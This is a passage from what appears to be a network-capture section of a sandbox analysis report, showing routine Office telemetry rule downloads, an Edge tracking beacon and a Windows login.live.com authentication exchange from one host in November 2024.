20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	54549	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:36 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:36 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: d4c521ce-601e-000d-6da3-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052336Z-17df447cdb54qlp6hC1DFW67e800000001a00000000063n6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:36 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	54550	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:36 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:36 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:36 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: f6eefceb-a01e-001e-33a0-3449ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052336Z-17df447cdb56j5xmhC1DFWn9180000000bhg00000000htsr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:36 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	54558	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:36 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:36 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:36 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 88f0b540-e01e-0033-5da0-344695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052336Z-15869dbbcc6zbpm7hC1DFW75xg00000008cg00000000h91s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:36 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	54559	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:36 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:36 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:36 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 620ef184-901e-0064-5ba1-34e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052336Z-17df447cdb528ltlhC1DFWnt1c0000000bb0000000008c9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:36 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	54560	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:36 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 66308e6b-801e-002a-7da6-3431dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052336Z-17df447cdb5l865xhC1DFW9n7g000000089g00000000kmq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:36 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	54562	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:36 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:37 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:36 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 74f30209-801e-00a0-74a2-342196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052336Z-15869dbbcc62nmdhhC1DFW2sxs00000005qg00000000cssa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:37 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	54563	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:36 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:37 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b1270df0-501e-0035-6dd2-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052336Z-16547b76f7fcrtpchC1DFW52e80000000f4g00000000heqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:37 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	54564	18.244.18.38	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:37 UTC	1012	OUT	GET /b2?rn=1731389013838&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=39559DFC669A689A222688C967CD69C0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=15546d9e7161bb1576cd54f1731389016; XID=15546d9e7161bb1576cd54f1731389016
2024-11-12 05:23:37 UTC	327	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 12 Nov 2024 05:23:37 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 1f5c750c03b26301631398b45f61e262.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 X-Amz-Cf-Id: eXzO5yzkyuxawm97p4BJyZWfw6P55C5L-JwMgTBM6Gx2_tFXF1OLLw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	54561	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-12 05:23:37 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 05:23:37 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 05:22:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 82faad1f-92b5-453b-85db-54b74017c8e5 PPServer: PPV: 30 H: SN1PEPF0002F143 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:37 GMT Connection: close Content-Length: 1918
2024-11-12 05:23:37 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	54567	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:37 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:37 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:37 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: d5f81faf-001e-0017-2ed2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052337Z-16547b76f7f2g4rlhC1DFWnx880000000f3000000000adx8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:37 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	54568	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:37 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:37 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:37 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: b51813c1-401e-002a-5f12-32c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052337Z-16547b76f7fcjqqhhC1DFWrrrc0000000f70000000005ph7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:37 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

